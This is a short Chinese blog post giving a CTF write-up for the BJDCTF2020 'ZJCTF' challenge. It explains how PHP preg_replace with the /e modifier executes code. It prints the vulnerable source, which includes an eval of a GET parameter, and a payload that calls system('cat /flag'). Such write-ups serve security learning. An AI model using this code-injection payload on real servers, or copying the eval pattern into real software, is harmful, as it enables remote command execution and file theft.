[BJDCTF2020]ZJCTF,不过如此

这道题考查preg_replace()函数中/e的工作机制,正则表达式后面跟e,即/xxxx/e,preg_replace()的第二个参数的会被当做代码执行,strtolower('\1'),\1需要和正则表达式里的()一起用,\1表示在str中匹配到的第一个,\2表示在str中的第二个,以此类推。

如果正则表达式里是/(.*)/,就完全匹配了str,\1也就是整个str,所以使用payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');

这里的/S传过去就是'.',${getFlag()}是让getFlag()当做代码执行

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

 

posted @ 2022-06-25 14:09  Galio  阅读(238)  评论(0编辑  收藏  举报